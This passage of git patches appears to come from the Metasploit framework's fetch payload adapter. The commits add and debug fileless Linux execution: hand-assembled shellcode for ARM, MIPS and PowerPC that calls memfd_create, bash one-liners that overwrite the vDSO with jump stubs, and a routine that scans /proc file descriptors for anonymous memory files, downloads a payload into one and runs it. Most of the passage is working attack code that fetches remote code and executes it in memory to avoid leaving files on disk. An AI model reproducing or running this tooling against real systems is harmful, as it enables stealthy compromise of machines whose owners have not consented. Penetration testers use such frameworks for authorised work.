sp 0x6846 - 0x4ff00101, #0x100a: mov.w r1, #1 0x4ff00101 - 0x4ff08307, #0x100e: mov.w r7, #0x83 0x4ff08307 - 0x07f1fe07, #0x1012: add.w r7, r7, #0xfe 0x07f1fe07 - 0x00df, #0x1016: svc #0 0x00df - 0x4ff05d07, #0x1018: mov.w r7, #0x5d 0x4ff05d07 - 0x00df, #0x101c: svc #0 0x00df - 0x4ff01d07, #0x101e: mov.w r7, #0x1d 0x4ff01d07 - 0x00df, #0x1022: svc #0 0x00df + 0xe3b02000, #0x1000: movs r2, #0 0xe3b02000 + 0xe52d2004, #0x1004: str r2, [sp, #-4]! 0xe52d2004 + 0xe1a0000d, #0x1008: mov r0, sp 0xe1a0000d + 0xe3a01001, #0x100c: mov r1, #1 0xe3a01001 + 0xe3a07083, #0x1010: mov r7, #0x83 0xe3a07083 + 0xe28770fe, #0x1014: add r7, r7, #0xfe 0xe28770fe + 0xef000000, #0x1018: svc #0 0xef000000 + 0xe3a0705d, #0x101c: mov r7, #0x5d 0xe3a0705d + 0xef000000, #0x1020: svc #0 0xef000000 + 0xe3a0701d, #0x1024: mov r7, #0x1d 0xe3a0701d + 0xef000000, #0x1028: svc #0 0xef000000 ] payload = in_memory_loader_asm.pack("V*") when 'armbe' @@ -85,18 +85,18 @@ def _generate_first_stage_shellcode(arch) # ftruncate(fd, null) # pause() in_memory_loader_asm = [ - 0xf04f0200, #0x1000: mov.w r2, #0 0xf04f0200 - 0xf84d2d04, #0x1004: str r2, [sp, #-0x4]! 0xf84d2d04 - 0x4668, #0x1008: mov r0, sp 0x4668 - 0xf04f0101, #0x100a: mov.w r1, #1 0xf04f0101 - 0xf04f0783, #0x100e: mov.w r7, #0x83 0xf04f0783 - 0xf10707fe, #0x1012: add.w r7, r7, #0xfe 0xf10707fe - 0xdf00, #0x1016: svc #0 0xdf00 - 0xf04f075d, #0x1018: mov.w r7, #0x5d 0xf04f075d - 0xdf00, #0x101c: svc #0 0xdf00 - 0xf04f071d, #0x101e: mov.w r7, #0x1d 0xf04f071d - 0xdf00, #0x1022: svc #0 0xdf00 - ] + 0x0020b0e3, #0x1000: movs r2, #0 0x0020b0e3 + 0x04202de5, #0x1004: str r2, [sp, #-4]! 0x04202de5 + 0x0d00a0e1, #0x1008: mov r0, sp 0x0d00a0e1 + 0x0110a0e3, #0x100c: mov r1, #1 0x0110a0e3 + 0x8370a0e3, #0x1010: mov r7, #0x83 0x8370a0e3 + 0xfe7087e2, #0x1014: add r7, r7, #0xfe 0xfe7087e2 + 0x000000ef, #0x1018: svc #0 0x000000ef + 0x5d70a0e3, #0x101c: mov r7, #0x5d 0x5d70a0e3 + 0x000000ef, #0x1020: svc #0 0x000000ef + 0x1d70a0e3, #0x1024: mov r7, #0x1d 0x1d70a0e3 + 0x000000ef, #0x1028: svc #0 0x000000ef +] payload = in_memory_loader_asm.pack("V*") when 'mips64' in_memory_loader_asm = [ @@ -218,9 +218,9 @@ def _generate_jmp_instruction_bash(arch) when 'aarch64' %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ when 'armle' - %^"024a1047"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"dff804201047"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ when 'armbe' - %^"dff800703847"$(echo $(printf %04x $vdso_addr))^ + %^"f8df20044710"$(echo $(printf %04x $vdso_addr))^ when 'mipsle' %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ when 'mipsbe' From 570e67c3264c7b50cd0517bafe908bce2467e19b Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 21 Apr 2025 22:44:16 +0200 Subject: [PATCH 11/22] Add bash-search option --- lib/msf/core/payload/adapter/fetch.rb | 1 + .../core/payload/adapter/fetch/fileless.rb | 34 ++++++++++++++++--- .../payload/adapter/fetch/linux_options.rb | 5 +-- 3 files changed, 34 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 2e5a8e9363b43..890c417aab6c1 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -259,6 +259,7 @@ def _execute_win(get_file_cmd) def _execute_nix(get_file_cmd) return _generate_fileless_bash(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'bash' + return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 7da82886e47bb..7d0edd6013a05 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -222,17 +222,17 @@ def _generate_jmp_instruction_bash(arch) when 'armbe' %^"f8df20044710"$(echo $(printf %04x $vdso_addr))^ when 'mipsle' - %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ + %^$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ when 'mipsbe' %^"2409"$(echo (printf %04x $vdso_addr))"0120000800000000"^ when 'mips64' - %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ + %^$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ when 'ppc' - %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ + %^$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ when 'ppc64' %^"3800"$(echo (printf %04x $vdso_addr))"7c0803a64e800020"^ when 'ppc64le' - %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ + %^$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') end @@ -275,6 +275,32 @@ def _generate_fileless_bash(get_file_cmd, arch) def _generate_fileless_python(get_file_cmd) %Q end + + # The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor + def _generate_fileless_bash_search(get_file_cmd) + # get list of all $USER's processes + cmd = 'FOUND=0' + cmd << ";for i in $(ps -u $USER | awk '{print $1}')" + # already found anonymous file where we can write + cmd << '; do if [ $FOUND -eq 0 ]' + + # look for every symbolic link with write rwx permissions + # if found one, try to download payload into the anonymous file + # and execute it + cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' + cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' + cmd << "; then if $(#{get_file_cmd} >/dev/null)" + cmd << '; then $f' + cmd << '; FOUND=1' + cmd << '; break' + cmd << '; fi' + cmd << '; fi' + cmd << '; done' + cmd << '; fi' + cmd << '; done' + + cmd + end end diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb index ae5e54d6a4f6c..f9cedc90a3ce8 100644 --- a/lib/msf/core/payload/adapter/fetch/linux_options.rb +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -3,8 +3,9 @@ def initialize(info = {}) super register_options( [ - Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP GET TFTP TNFTP WGET]]), - Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]), + + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]), + Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+','bash-search']]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']), Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL GET WGET]]), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none']) From 6c06f1c87a6e7f0bd1b79678db61eafe7daf9fe2 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 23 Apr 2025 08:08:01 +0200 Subject: [PATCH 12/22] Add ppc/ppc64 fix --- .../core/payload/adapter/fetch/fileless.rb | 34 ++++++++++++++++--- 1 file changed, 30 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 7d0edd6013a05..c4386bb5cf142 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -146,6 +146,12 @@ def _generate_first_stage_shellcode(arch) 0x0c000000, #0x102c: syscall 0x0c000000 ] payload = in_memory_loader_asm.pack('V*') + # PPC shellcode + # bl 8 + # mflr r1 + # lwz r3,16(r1) + # mtlr r3 + # blr when 'ppc' in_memory_loader_asm = [ 0x0000c039, #0x1000: li r14, 0 0x0000c039 @@ -159,7 +165,7 @@ def _generate_first_stage_shellcode(arch) 0x1d000038, #0x1020: li r0, 0x1d 0x1d000038 0x02000044, #0x1024: sc 0x02000044 ] - payload = in_memory_loader_asm.pack('N*') + payload = in_memory_loader_asm.pack('V*') when 'ppc64' in_memory_loader_asm = [ 0x39c00000, #0x1000: li r14, 0 0x39c00000 @@ -221,18 +227,38 @@ def _generate_jmp_instruction_bash(arch) %^"dff804201047"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ when 'armbe' %^"f8df20044710"$(echo $(printf %04x $vdso_addr))^ + when 'mipsle' %^$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ when 'mipsbe' %^"2409"$(echo (printf %04x $vdso_addr))"0120000800000000"^ when 'mips64' %^$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ + + # PPC shellcode + # bl 4 + # mflr r18 + # lwz r3,16(r18) + # mtlr r3 + # blr when 'ppc' - %^$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ + %^"480000057e4802a6807200107c6803a64e800020"$(echo $(printf %04x $vdso_addr))^ + # PPC64 shellcode + # bl 4 + # mflr 18 + # ld 3,16(18) + # mtlr 3 + # blr when 'ppc64' - %^"3800"$(echo (printf %04x $vdso_addr))"7c0803a64e800020"^ + %^"480000057e4802a6e87200107c6803a64e800020"$(echo (printf %016x $vdso_addr))^ + # PPC64le shellcode + # bl 4 + # mflr 18 + # ld 3,16(18) + # mtlr 3 + # blr when 'ppc64le' - %^$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ + %^"05000048a602487e100072e8a603687c2000804e"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') end From 5380016536f29a8b478eecdfa3e17a5e3192473c Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 24 Apr 2025 10:16:24 +0200 Subject: [PATCH 13/22] MIPS64 fix --- .../core/payload/adapter/fetch/fileless.rb | 97 ++++++++++--------- 1 file changed, 50 insertions(+), 47 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index c4386bb5cf142..1301084498d12 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -100,58 +100,45 @@ def _generate_first_stage_shellcode(arch) payload = in_memory_loader_asm.pack("V*") when 'mips64' in_memory_loader_asm = [ - 0xfcffa0af, #0x1000: sw $zero, -4($sp) 0xfcffa0af - 0xfcffbd27, #0x1004: addiu $sp, $sp, -4 0xfcffbd27 - 0x2020a003, #0x1008: add $a0, $sp, $zero 0x2020a003 - 0xfeff1924, #0x100c: addiu $t9, $zero, -2 0xfeff1924 - 0x27282003, #0x1010: not $a1, $t9 0x27282003 - 0x02110224, #0x1014: addiu $v0, $zero, 0x1102 0x02110224 - 0x0c000000, #0x1018: syscall 0x0c000000 - 0x2528e003, #0x101c: move $a1, $ra 0x2528e003 - 0xfd0f0224, #0x1020: addiu $v0, $zero, 0xffd 0xfd0f0224 - 0x0c000000, #0x1024: syscall 0x0c000000 - 0xbd0f0224, #0x1028: addiu $v0, $zero, 0xfbd 0xbd0f0224 - 0x0c000000, #0x102c: syscall 0x0c000000 + 0x2520a003, #0x1000: move $a0, $sp 0x2520a003 + 0x01000524, #0x1004: addiu $a1, $zero, 1 0x01000524 + 0xc2140224, #0x1008: addiu $v0, $zero, 0x14c2 0xc2140224 + 0x0c010101, #0x100c: syscall 0x40404 0x0c010101 + 0x2520e003, #0x1010: move $a0, $ra 0x2520e003 + 0xd3130224, #0x1014: addiu $v0, $zero, 0x13d3 0xd3130224 + 0x0c010101, #0x1018: syscall 0x40404 0x0c010101 + 0xa9130224, #0x101c: addiu $v0, $zero, 0x13a9 0xa9130224 + 0x0c010101, #0x1020: syscall 0x40404 0x0c010101 ] - payload = in_memory_loader_asm.pack('V*') + payload = in_memory_loader_asm.pack('N*') when 'mipsbe' in_memory_loader_asm = [ - 0xafa0fffc, #0x1000: sw $zero, -4($sp) 0xafa0fffc - 0x27bdfffc, #0x1004: addiu $sp, $sp, -4 0x27bdfffc - 0x03a02020, #0x1008: add $a0, $sp, $zero 0x03a02020 - 0x2419fffe, #0x100c: addiu $t9, $zero, -2 0x2419fffe - 0x03202827, #0x1010: not $a1, $t9 0x03202827 - 0x24021102, #0x1014: addiu $v0, $zero, 0x1102 0x24021102 - 0x0000000c, #0x1018: syscall 0x0000000c - 0x03e02825, #0x101c: move $a1, $ra 0x03e02825 - 0x24020ffd, #0x1020: addiu $v0, $zero, 0xffd 0x24020ffd - 0x0000000c, #0x1024: syscall 0x0000000c - 0x24020fbd, #0x1028: addiu $v0, $zero, 0xfbd 0x24020fbd - 0x0000000c, #0x102c: syscall 0x0000000c + 0x03a02025, #0x1000: move $a0, $sp 0x03a02025 + 0x24050001, #0x1004: addiu $a1, $zero, 1 0x24050001 + 0x24021102, #0x1008: addiu $v0, $zero, 0x1102 0x24021102 + 0x0101010c, #0x100c: syscall 0x40404 0x0101010c + 0x03e02025, #0x1010: move $a0, $ra 0x03e02025 + 0x24020ffd, #0x1014: addiu $v0, $zero, 0xffd 0x24020ffd + 0x0101010c, #0x1018: syscall 0x40404 0x0101010c + 0x24020fbd, #0x101c: addiu $v0, $zero, 0xfbd 0x24020fbd + 0x0101010c, #0x1020: syscall 0x40404 0x0101010c + ] payload = in_memory_loader_asm.pack('V*') when 'mipsle' in_memory_loader_asm = [ - 0xfcffa0af, #0x1000: sw $zero, -4($sp) 0xfcffa0af - 0xfcffbd27, #0x1004: addiu $sp, $sp, -4 0xfcffbd27 - 0x2020a003, #0x1008: add $a0, $sp, $zero 0x2020a003 - 0xfeff1924, #0x100c: addiu $t9, $zero, -2 0xfeff1924 - 0x27282003, #0x1010: not $a1, $t9 0x27282003 - 0x02110224, #0x1014: addiu $v0, $zero, 0x1102 0x02110224 - 0x0c000000, #0x1018: syscall 0x0c000000 - 0x2528e003, #0x101c: move $a1, $ra 0x2528e003 - 0xfd0f0224, #0x1020: addiu $v0, $zero, 0xffd 0xfd0f0224 - 0x0c000000, #0x1024: syscall 0x0c000000 - 0xbd0f0224, #0x1028: addiu $v0, $zero, 0xfbd 0xbd0f0224 - 0x0c000000, #0x102c: syscall 0x0c000000 - ] + 0x2520a003, #0x1000: move $a0, $sp 0x2520a003 + 0x01000524, #0x1004: addiu $a1, $zero, 1 0x01000524 + 0x02110224, #0x1008: addiu $v0, $zero, 0x1102 0x02110224 + 0x0c010101, #0x100c: syscall 0x40404 0x0c010101 + 0x2520e003, #0x1010: move $a0, $ra 0x2520e003 + 0xfd0f0224, #0x1014: addiu $v0, $zero, 0xffd 0xfd0f0224 + 0x0c010101, #0x1018: syscall 0x40404 0x0c010101 + 0xbd0f0224, #0x101c: addiu $v0, $zero, 0xfbd 0xbd0f0224 + 0x0c010101, #0x1020: syscall 0x40404 0x0c010101 +] payload = in_memory_loader_asm.pack('V*') - # PPC shellcode - # bl 8 - # mflr r1 - # lwz r3,16(r1) - # mtlr r3 - # blr + when 'ppc' in_memory_loader_asm = [ 0x0000c039, #0x1000: li r14, 0 0x0000c039 @@ -228,12 +215,28 @@ def _generate_jmp_instruction_bash(arch) when 'armbe' %^"f8df20044710"$(echo $(printf %04x $vdso_addr))^ + # MIPSEL shellcode + # bgezal $zero, 4 + # xor $t2, $t2,$t2 + # lw $t2, 16($ra) + # jr $t2 when 'mipsle' - %^$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ + %^"000011040000000026504a011000ea8f0800400100000000"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + + # MIPSBE shellcode + # bgezal $zero, 4 + # xor $t2, $t2,$t2 + # lw $t2, 16($ra) + # jr $t2 when 'mipsbe' - %^"2409"$(echo (printf %04x $vdso_addr))"0120000800000000"^ + %^"0411000000000000014a50268fea00100140000800000000"$(echo (printf %04x $vdso_addr))^ + # MIPS64 shellcode + # bgezal $zero, 4 + # xor $t2, $t2,$t2 + # ld $t2, 16($ra) + # jr $t2 when 'mips64' - %^$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ + %^"00001104000000002670ce011000eedf0800c00100000000"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ # PPC shellcode # bl 4 From f210a668bd5b15ef4406ec269045b57800116db7 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 24 Apr 2025 13:09:18 +0200 Subject: [PATCH 14/22] MIPS fix --- lib/msf/core/payload/adapter/fetch/fileless.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 1301084498d12..558afba054eca 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -124,7 +124,7 @@ def _generate_first_stage_shellcode(arch) 0x0101010c, #0x1020: syscall 0x40404 0x0101010c ] - payload = in_memory_loader_asm.pack('V*') + payload = in_memory_loader_asm.pack('N*') when 'mipsle' in_memory_loader_asm = [ 0x2520a003, #0x1000: move $a0, $sp 0x2520a003 @@ -137,7 +137,7 @@ def _generate_first_stage_shellcode(arch) 0xbd0f0224, #0x101c: addiu $v0, $zero, 0xfbd 0xbd0f0224 0x0c010101, #0x1020: syscall 0x40404 0x0c010101 ] - payload = in_memory_loader_asm.pack('V*') + payload = in_memory_loader_asm.pack('N*') when 'ppc' in_memory_loader_asm = [ @@ -287,7 +287,7 @@ def _generate_fileless_bash(get_file_cmd, arch) cmd = "echo -n '#{Base64.strict_encode64(stage_cmd).gsub(/\n/, '')}' | base64 -d | bash & " cmd << 'cd /proc/$!;' - cmd << 'sleep 1;' #adding short pause to give process time to load file handle + cmd << 'sleep 2;' #adding short pause to give process time to load file handle cmd << 'FOUND=0;if [ $FOUND -eq 0 ];' cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' From ddf27d6ff7c817491d576a1a8b1291f1421f3536 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 25 Apr 2025 17:02:57 +0200 Subject: [PATCH 15/22] Option rename --- lib/msf/core/payload/adapter/fetch.rb | 2 +- lib/msf/core/payload/adapter/fetch/fileless.rb | 1 + lib/msf/core/payload/adapter/fetch/linux_options.rb | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 890c417aab6c1..6d3a79d199387 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -259,7 +259,7 @@ def _execute_win(get_file_cmd) def _execute_nix(get_file_cmd) return _generate_fileless_bash(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'bash' - return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash-search' + return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'sh-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 558afba054eca..4f9c63f76f3ca 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -184,6 +184,7 @@ def _generate_first_stage_shellcode(arch) else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') end + return payload #payload.unpack("H*")[0] #Base64.strict_encode64(payload).gsub(/\n/, '') end diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb index f9cedc90a3ce8..592053d748e71 100644 --- a/lib/msf/core/payload/adapter/fetch/linux_options.rb +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -5,7 +5,7 @@ def initialize(info = {}) [ Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]), - Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+','bash-search']]), + Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+','sh-search']]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']), Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL GET WGET]]), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none']) From a2e7d2e933bc03f04f5829d69998fe17a55b1c04 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 28 Apr 2025 05:23:49 +0200 Subject: [PATCH 16/22] Adds killing memfd_create process to avoid having bash idly waiting; code refactor; comments --- .../core/payload/adapter/fetch/fileless.rb | 22 ++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 4f9c63f76f3ca..6818924ad9ff5 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -185,8 +185,6 @@ def _generate_first_stage_shellcode(arch) fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') end return payload - #payload.unpack("H*")[0] - #Base64.strict_encode64(payload).gsub(/\n/, '') end def _generate_jmp_instruction_sh(arch) @@ -205,14 +203,28 @@ def _generate_jmp_instruction_bash(arch) # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses case arch + when 'x64' %^"48b8"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + when 'x86' %^"b8"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + + # ARM64 shellcode + # ldr x0, #8 + # br x0 when 'aarch64' %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + + # ARMle shelcode + # ldr.w r2, [pc, #4] + # bx r2 when 'armle' %^"dff804201047"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + + # ARMbe shelcode + # ldr.w r2, [pc, #4] + # bx r2 when 'armbe' %^"f8df20044710"$(echo $(printf %04x $vdso_addr))^ @@ -231,6 +243,7 @@ def _generate_jmp_instruction_bash(arch) # jr $t2 when 'mipsbe' %^"0411000000000000014a50268fea00100140000800000000"$(echo (printf %04x $vdso_addr))^ + # MIPS64 shellcode # bgezal $zero, 4 # xor $t2, $t2,$t2 @@ -247,6 +260,7 @@ def _generate_jmp_instruction_bash(arch) # blr when 'ppc' %^"480000057e4802a6807200107c6803a64e800020"$(echo $(printf %04x $vdso_addr))^ + # PPC64 shellcode # bl 4 # mflr 18 @@ -288,17 +302,19 @@ def _generate_fileless_bash(get_file_cmd, arch) cmd = "echo -n '#{Base64.strict_encode64(stage_cmd).gsub(/\n/, '')}' | base64 -d | bash & " cmd << 'cd /proc/$!;' + cmd << 'og_process=$!;' cmd << 'sleep 2;' #adding short pause to give process time to load file handle cmd << 'FOUND=0;if [ $FOUND -eq 0 ];' cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];' cmd << "then if $(#{get_file_cmd} >/dev/null);" - cmd << 'then $f;FOUND=1;break;' + cmd << 'then $f&;FOUND=1;break;' cmd << 'fi;' cmd << 'fi;' cmd << 'done;' cmd << 'fi;' + cmd << 'kill -9 $og_process;' end # same idea as _generate_fileless function, but force creating anonymous file handle From aa8f8544ec934d565c9891ceba91400d754bf237 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 28 Apr 2025 05:25:52 +0200 Subject: [PATCH 17/22] Removing teaser --- lib/msf/core/payload/adapter/fetch/fileless.rb | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 6818924ad9ff5..99b48e7669b60 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -186,18 +186,8 @@ def _generate_first_stage_shellcode(arch) end return payload end - - def _generate_jmp_instruction_sh(arch) - case arch - when 'x64' - %^110270^ - else - fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') - end - end - #bash contains extension to standard printf definition, which allows defining hexadecimal bytes with \xHH. def _generate_jmp_instruction_bash(arch) # # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses From 5e3ea78059d35575929dc8144d728e2de605a709 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 28 Apr 2025 05:26:45 +0200 Subject: [PATCH 18/22] Removes unnecessary line --- lib/msf/core/payload/adapter/fetch/fileless.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 99b48e7669b60..5e6f70a6a4319 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -187,7 +187,6 @@ def _generate_first_stage_shellcode(arch) return payload end - def _generate_jmp_instruction_bash(arch) # # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses From f61b6378062ed4315405822b31383aa1f9900fe3 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 2 May 2025 16:37:53 +0200 Subject: [PATCH 19/22] Adds POSIX support, more reliable process killing --- lib/msf/core/payload/adapter/fetch.rb | 4 +- .../core/payload/adapter/fetch/fileless.rb | 66 +++++++++---------- .../payload/adapter/fetch/linux_options.rb | 2 +- 3 files changed, 36 insertions(+), 36 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 6d3a79d199387..defe5a12db310 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -258,8 +258,8 @@ def _execute_win(get_file_cmd) end def _execute_nix(get_file_cmd) - return _generate_fileless_bash(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'bash' - return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'sh-search' + return 